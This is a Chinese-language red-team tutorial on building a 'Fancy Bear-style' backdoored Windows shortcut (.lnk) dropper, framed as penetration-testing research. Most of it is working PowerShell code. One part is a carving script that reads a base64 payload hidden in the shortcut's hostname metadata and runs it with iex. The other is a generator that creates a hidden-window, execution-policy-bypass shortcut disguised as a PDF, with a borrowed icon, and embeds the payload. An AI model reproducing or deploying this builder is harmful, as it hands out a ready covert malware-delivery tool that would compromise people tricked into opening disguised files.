**在Word或zip文档中嵌入一个指向powershell的快捷方式文件(.lnk),是一种已知的恶意软件隐蔽传播方法,就连涉嫌干扰美国大选的俄罗斯APT组织也经常使用这种方法(参考:Volexity、CrowdStrike)。例如,在奇幻熊(Fancy Bear)针对一些美国研究机构的网络渗透中,就使用了一种很少见的快捷方式文件后门攻击,通过该手段,攻击者不仅实现了powershell命令的嵌入执行,还能把整个payload存储在.lnk文件隐秘位置完成攻击调用,受害者一不小心点击了这种恶意的lnk文件,就会掉进攻击者布下的“陷阱”中。
**
对红方渗透人员来说,该攻击手段和相关样本的研究学习非常有用。本文中,我将展示如何制作“奇幻熊式”的恶意快捷方式文件(.lnk),通过该.lnk文件生成的恶意程序主体Dropper可应用于渗透测试场景中。该Dropper程序包含.lnk文件目标路径区域powershell、构造精巧的调用脚本和嵌入payload三个主要部分,结构流程如下图抽象所示:
规避目标系统的长度限制
我们都知道,在Windows系统中创建快捷方式文件非常简单:桌面环境下,右键点击鼠标,“新建”,然后“快捷方式”,之后跳出一个要求输入对象位置的对话框,以此就完成了一次.lnk文件创建。之后,如下图所示,我们可以查看一下该lnk文件的属性特征,并尝试向其目标路径(target)中添加其它参数。
在.lnk文件属性下的目标路径区域(target)中,可以加入最多260个字符数。由于有字符数的限制,为了创建一个快捷方式后门,我们只能将lnk文件指向例如powershell的执行程序,并在其中加入一段很小的经过封装的命令作为执行参数。但是,要突破这种目标路径区域的最大字符限制,可以通过jscript创建的WScript Shell对象快捷方式来实现,该方式可以向目标路径区域添加达1096个字符数。扩展增加后的目标路径区域如下图十六进制编辑器中所示:
对Lnk格式文件的利(làn)用
找到扩展增加目标路径区域字符数的方法,就可以实现向指向powershell中传递更多的执行参数,但对于熟谙.lnk文件格式的攻击者来说,这种方法还不足以执行足够大、足够精巧的调用脚本。
当一个快捷方式文件被创建之后,很多关于系统的元数据信息也被储存在其lnk文件中,例如驱动器标签、主机名称等:
当我研究了.lnk格式文件规范后发现,这些元数据都可能包含了一个不限长度的变量。就拿主机名称元数据来说,它可以储存一个任意长度的变量,而这点就可能被攻击者利用,用来嵌入任意payload,即目标路径区域内不允许执行的、有长度限制的payload,攻击者可以放到这里进行隐蔽存储和调用执行。
创建快捷方式后门“陷阱”文件
有了以上这些信息之后,可以尝试制作一个恶意的快捷方式陷阱文件。在这里,我直接选用系统内置的powershell作为脚本编译语言。以下是对该恶意lnk文件三个主体部分的制作思路:
第一部分,我们需要构造一个调用payload的powershell脚本。
该脚本被以指向powershell执行的编码参数形式,存储在lnk文件属性的目标路径区域(target)中,当受害者点击了lnk文件之后,该脚本将会被自动执行。这个精心构造的脚本最终将会调用存储在lnk文件主机名称元数据区域的payload。以下是这个脚本的典型示例:
实现代码:
#--Carving script: will find and decode the script block
#--embedded in the shortcuts hostname
$payloadStartIndexInShortcut=1000;
$payloadSize=100;
$shortcutFilename="interesting-title.lnk";
#create a byte array to store the encoded payload
$encodedPayloadBytes=New-Object byte[]($payloadSize);
#read the contents of the shortcut, starting from $payloadStart
$lnk=New-Object IO.FileStream $shortcutFilename,'Open','Read','ReadWrite';
$lnk.Seek($payloadStartIndexInShortcut,[IO.SeekOrigin]::Begin);
$lnk.Read($encodedPayloadBytes,0,$payloadSize);
#Base64 decode encoded payload
$decodedPayloadBytes=[Convert]::FromBase64CharArray($encodedPayloadBytes,0,$encodedPayloadBytes.Length);
$scriptBlock=[Text.Encoding]::Unicode.GetString($decodedPayloadBytes);
#execute payload (script block)
iex $scriptBlock;
第二部分就是突破目标路径区域长度限制,创建指向powershell脚本的快捷方式文件;
最后一部分就是编写payload,该payload可以是嵌入到lnk文件元数据区域变量的base64执行程序,可以执行磁盘写入或内存写入等其它恶意功能。
最终实现代码
所有这三部分的最终代码实现可以参考以下快捷方式后门“陷阱”文件创建代码,该代码为powershell脚本,包含payload配置选项,并可用于渗透测试场景中,请勿用于非法目的。
#
# Create backdoored LNK file - by Felix Weyne
# Info: https://www.uperesia.com/booby-trapped-shortcut
# -Usage: place your powershell payload in $payloadContents
# -This payload can embed for instance an executable that needs
# -to be dropped to disk/loaded into memory
#
$shortcutName = "interesting-title-to-click-on.pdf.lnk"
$shortcutOutputPath = "$Home\Desktop\"+$shortcutName
$shortcutFallbackExecutionFolder="`$env:temp"
$payloadContents =
@'
echo "This payload/script block can be huge, easily a few megabytes";
echo $env:computername >> $Home\Desktop\IhaveRun.txt
echo $env:computername >> $Home\Desktop\IhaveRun.txt
'@
$bytes = [System.Text.Encoding]::Unicode.GetBytes($payloadContents)
$payload = [Convert]::ToBase64String($bytes)
function Convert-ByteArrayToHexString($inputByteArray)
{
$String = [System.BitConverter]::ToString($inputByteArray)
$String = $String -replace "\-",""
$String
}
function Convert-HexStringToByteArray ($hexString) {
$hexString = $hexString.ToLower()
,@($hexString -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}})
}
function CreateShortcut($payloadStart,$payloadSize) {
#<------>
#<Part 1: encode carving script>
#<------>
#$stP = startPayload, $siP = sizePayload,
#$scB = scriptblock, $lnk = filestream LNK file
#$b64 = base64 encoded scriptblok, $f=shortcut name
$carvingScript = @'
$stP,$siP={0},{1};
$f='{2}';
if(-not(Test-Path $f)){{
$x=Get-ChildItem -Path {3} -Filter $f -Recurse;
[IO.Directory]::SetCurrentDirectory($x.DirectoryName);
}}
$lnk=New-Object IO.FileStream $f,'Open','Read','ReadWrite';
$b64=New-Object byte[]($siP);
$lnk.Seek($stP,[IO.SeekOrigin]::Begin);
$lnk.Read($b64,0,$siP);
$b64=[Convert]::FromBase64CharArray($b64,0,$b64.Length);
$scB=[Text.Encoding]::Unicode.GetString($b64);
iex $scB;
'@ -f $payloadStart,$payloadSize,$shortcutName,$shortcutFallbackExecutionFolder
write-host "Generated carvingscript:" -foregroundcolor "yellow"
echo $carvingScript;
$compressedCarvingScript = $carvingScript -replace "`n",'' -replace "`r",''
# Convert string to base64 encoded command
$bytes = [System.Text.Encoding]::UTF8.GetBytes( $compressedCarvingScript )
$encodedCommand = [Convert]::ToBase64String($bytes)
#<------>
#<Part 2: create shortcut with encoded carving script>
#<------>
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($shortcutOutputPath)
$Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.Arguments = "-win hidden -Ep ByPass `$r = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('$encodedCommand')); iex `$r;"
#使用IE图标
$Shortcut.IconLocation = "C:\Windows\system32\SHELL32.dll,242"
#运行窗口最小化
$Shortcut.WindowStyle = "7"
$Shortcut.Save()
}
#<------>
#<Part 3: find start of embedded payload (start of computer hostname)>
#<------>
write-host "Creating LNK with payload. This will enable us to see where the payload starts" -foregroundcolor "green"
$payloadSize = $payload.Length
CreateShortcut 9999 $payloadSize
$enc = [system.Text.Encoding]::UTF8
[string]$computerName = $ENV:COMPUTERNAME
$computerNameBytes = $enc.GetBytes($computerName.ToLower())
$readin = [System.IO.File]::ReadAllBytes($shortcutOutputPath);
$contentsLnkFile = (Convert-ByteArrayToHexString $readin) -join ''
$computerNameInHex = (Convert-ByteArrayToHexString $computerNameBytes) -join ''
$startPayload = ($contentsLnkFile.IndexOf($computerNameInHex)) / 2
write-host "Start of payload in LNK file is at byte: #"$startPayload -foregroundcolor "green"
#<------>
#<Part 3: create new link with correct start of payload
#<------>
Remove-Item $shortcutOutputPath
CreateShortcut $startPayload $payloadSize
write-host "Output LNK file: " $shortcutOutputPath -foregroundcolor "Cyan"
#<------>
#<Part 4: embed payload
#<------>
$payloadBytes = $enc.GetBytes($payload)
$payloadInHex = Convert-ByteArrayToHexString $payloadBytes
$readin = [System.IO.File]::ReadAllBytes($shortcutOutputPath);
$contentsLnkFile = (Convert-ByteArrayToHexString $readin) -join ''
$contentsLnkFile = $contentsLnkFile -replace $computerNameInHex,$payloadInHex;
$writeout = Convert-HexStringToByteArray $contentsLnkFile;
set-content -value $writeout -encoding byte -path $shortcutOutputPath;